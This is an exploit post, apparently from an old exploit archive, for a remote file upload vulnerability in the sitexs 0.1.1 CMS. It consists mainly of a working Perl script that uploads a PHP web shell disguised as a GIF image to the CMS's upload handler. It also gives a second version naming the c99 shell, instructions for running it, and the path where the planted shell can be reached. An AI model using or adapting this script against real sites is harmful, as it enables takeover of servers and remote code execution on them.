=0D
Author : Hadi Kiamarsi=0D
----------------------------------------------------------------------------------=0D
Discovered by : Hadi Kiamarsi=0D
----------------------------------------------------------------------------------=0D
Exploited By : Hadi Kiamarsi=0D
----------------------------------------------------------------------------------=0D
E-Mail : hadikiamarsi[at]hotmail.com=0D
----------------------------------------------------------------------------------=0D
WebSite : http://ircrash.com=0D 
----------------------------------------------------------------------------------=0D
Our Team : ircrash=0D
----------------------------------------------------------------------------------=0D
IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr=0D
----------------------------------------------------------------------------------=0D
=0D
CMS: sitexs-0.1.1 CMS ( All Version Vulnerable ) =0D
Download CMS : http://dfn.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz=0D 
=0D
----------------------------------------------------------------------------------=0D
                        Remote File Upload Vulnerability=0D
=0D
You Must turn on :=0D
=0D
register_globals = On=0D
register_long_arrays=on=0D
-----------------------------------------------------------------------------------=0D
Exploit :=0D
-----------------------------------------------------------------------------------=0D
#!/usr/bin/perl=0D
# Author : Hadi Kiamarsi=0D
# Discover By : Hadi Kiamarsi=0D
# Exploit By : Hadi Kiamarsi =0D
use LWP;=0D
use HTTP::Request::Common;=0D
$ua = $ua = LWP::UserAgent->new;;=0D
$res = $ua->request(POST 'http:www.example.com/[sitexs]/adm/visual/upload.php', =0D 
             Content_Type => 'form-data',=0D
             Content => [=0D
              UPLOAD => ["Your shell file path", "1.gif.php", "Content-Type" => =0D
"image/gif"],submit => 'true',type => 'images',path => '',process => 'true',=0D
             ],=0D
            );=0D
print $res->as_string();=0D
-----------------------------------------------------------------------------------=0D
=0D
you for use this exploit . you must your shell file exists in exploit directory=0D
then excute exploit you find your shell in below link=0D
=0D
www.example.com/[sitexs]/images/1.gif.php=0D 
www.example.com/[sitexs]/images/[shell][.php]=0D 
=0D
  =0D
-----------------------------------------------------------------------------------=0D
Example :=0D
-----------------------------------------------------------------------------------=0D
#!/usr/bin/perl=0D
# Author : Hadi Kiamarsi=0D
# Discover By : Hadi Kiamarsi=0D
# Exploit By : Hadi Kiamarsi =0D
use LWP;=0D
use HTTP::Request::Common;=0D
$ua = $ua = LWP::UserAgent->new;;=0D
$res = $ua->request(POST 'http://localhost/adm/visual/upload.php', =0D 
             Content_Type => 'form-data',=0D
             Content => [=0D
              UPLOAD => ["c99.php", "1.gif.php", "Content-Type" => =0D
"image/gif"],submit => 'true',type => 'images',path => '',process => 'true',=0D
             ],=0D
            );=0D
print $res->as_string();=0D
=0D
-----------------------------------------------------------------------------------=0D
=0D
this bug is 0-Day=0D
=0D
-----------------------------------------------------------------------------------